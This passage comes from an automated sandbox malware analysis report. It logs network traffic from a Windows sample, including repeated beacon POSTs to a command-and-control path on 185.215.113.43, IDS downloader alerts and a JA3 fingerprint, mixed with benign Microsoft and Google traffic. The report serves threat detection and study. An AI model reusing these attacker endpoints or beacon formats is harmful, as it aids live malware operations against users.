name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBAEBGHDAECBGDGCAKE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 42 32 46 37 31 42 30 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BB2F71B05182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 42 32 46 37 31 42 30 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BB2F71B05182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 42 32 46 37 31 42 30 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BB2F71B05182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 20.25.227.174 20.25.227.174
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49799 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49932 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE5CC60 PR_Recv,

0_2_6CE5CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCKLRzQEIitPNAQik1s0BCPTWzQEIp9jNAQj5wNQVGPXJzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCKLRzQEIitPNAQik1s0BCPTWzQEIp9jNAQj5wNQVGPXJzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dSkSl3rp7HTCF2P&MD=NeNfOln1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
